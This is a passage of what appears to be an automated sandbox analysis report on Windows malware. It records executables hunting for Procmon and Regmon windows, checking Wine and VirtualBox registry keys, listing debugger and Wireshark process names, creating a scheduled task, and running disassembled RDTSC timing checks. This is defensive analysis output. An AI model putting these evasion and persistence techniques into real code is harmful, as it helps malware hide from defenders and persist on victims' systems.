Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsDHJECFCGHI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: PROCMON.EXE
Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: X64DBG.EXE
Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: WINDBG.EXE
Source: 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A082B second address: 7A0834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0834 second address: 7A0851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push esi 0x00000008 jmp 00007FDE88D878A3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB834 second address: 7BB838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB838 second address: 7BB861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FDE88D878A9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB861 second address: 7BB867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB867 second address: 7BB871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB871 second address: 7BB877 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBCEB second address: 7BBCF5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDE88D8789Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBE50 second address: 7BBE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBE56 second address: 7BBE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FDE88D87896h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBE63 second address: 7BBE95 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a jnc 00007FDE885210AEh 0x00000010 jp 00007FDE885210A6h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jg 00007FDE885210A6h 0x00000020 jmp 00007FDE885210B2h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBFF6 second address: 7BC00A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 js 00007FDE88D878A4h 0x0000000d push eax 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEF9B second address: 7BEFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEFA0 second address: 7BF00C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1A0Eh], edx 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D1B8Eh], edx 0x00000018 push 5AE18D60h 0x0000001d jmp 00007FDE88D878A9h 0x00000022 xor dword ptr [esp], 5AE18DE0h 0x00000029 mov ecx, dword ptr [ebp+122D39E5h] 0x0000002f push 00000003h 0x00000031 pushad 0x00000032 mov eax, dword ptr [ebp+122D1BBDh] 0x00000038 mov ecx, 77F7E70Dh 0x0000003d popad 0x0000003e push 00000000h 0x00000040 add cl, FFFFFFB5h 0x00000043 push 00000003h 0x00000045 call 00007FDE88D87899h 0x0000004a push esi 0x0000004b push eax 0x0000004c push edx 0x0000004d push esi 0x0000004e pop esi 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF00C second address: 7BF019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF019 second address: 7BF01D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF01D second address: 7BF087 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDE885210A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FDE885210AAh 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 ja 00007FDE885210B8h 0x0000001e mov eax, dword ptr [eax] 0x00000020 push esi 0x00000021 push esi 0x00000022 jmp 00007FDE885210B7h 0x00000027 pop esi 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 jno 00007FDE885210A6h 0x00000036 jmp 00007FDE885210AAh 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF18F second address: 7BF193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF193 second address: 7BF199 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF199 second address: 7BF1B5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007FDE88D87896h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jng 00007FDE88D878A8h 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007FDE88D87896h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF1B5 second address: 7BF218 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDE885210A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f ja 00007FDE885210ACh 0x00000015 pushad 0x00000016 jne 00007FDE885210A6h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f popad 0x00000020 pop eax 0x00000021 jbe 00007FDE885210ACh 0x00000027 mov esi, dword ptr [ebp+122D3B49h] 0x0000002d push 00000003h 0x0000002f mov esi, dword ptr [ebp+122D3B75h] 0x00000035 push 00000000h 0x00000037 mov edi, ebx 0x00000039 push 00000003h 0x0000003b push eax 0x0000003c pop esi 0x0000003d call 00007FDE885210A9h 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FDE885210B5h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF218 second address: 7BF22A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE88D8789Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF22A second address: 7BF22E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF22E second address: 7BF286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDE88D878A8h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007FDE88D878A2h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a pushad 0x0000001b jmp 00007FDE88D878A2h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 jc 00007FDE88D8789Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF38E second address: 7BF393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF44C second address: 7BF452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCA00 second address: 7DCA17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDE885210AEh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCA17 second address: 7DCA23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCA23 second address: 7DCA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCDDE second address: 7DCDF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCDF3 second address: 7DCDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCF30 second address: 7DCF34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCF34 second address: 7DCF56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FDE885210A8h 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 jl 00007FDE885210A6h 0x00000017 pop ebx 0x00000018 popad 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c je 00007FDE885210A6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFBE5 second address: 7AFBEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFBEF second address: 7AFC03 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jbe 00007FDE885210A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FDE885210A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE017 second address: 7DE01D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE01D second address: 7DE021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE021 second address: 7DE027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE19C second address: 7DE1A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE1A2 second address: 7DE1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE88D878A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE316 second address: 7DE324 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210AAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E48A4 second address: 7E48D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FDE88D8789Ah 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push esi 0x00000018 pop esi 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E48D5 second address: 7E48DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E48DB second address: 7E48DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E48DF second address: 7E4906 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE885210B9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4906 second address: 7E490C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E490C second address: 7E4910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EABA5 second address: 7EABA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EABA9 second address: 7EABAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA247 second address: 7EA24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA24B second address: 7EA24F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA515 second address: 7EA519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA7D0 second address: 7EA7D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA7D8 second address: 7EA7DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA7DC second address: 7EA7E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA92A second address: 7EA930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA930 second address: 7EA938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA938 second address: 7EA93E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EAA84 second address: 7EAA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FDE885210ACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EAA91 second address: 7EAA99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC9FC second address: 7ECA00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED088 second address: 7ED0A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED69E second address: 7ED6BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED799 second address: 7ED7B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE88D878A2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED7B0 second address: 7ED7BA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDE885210ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED890 second address: 7ED89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED89B second address: 7ED8A1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED94B second address: 7ED94F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
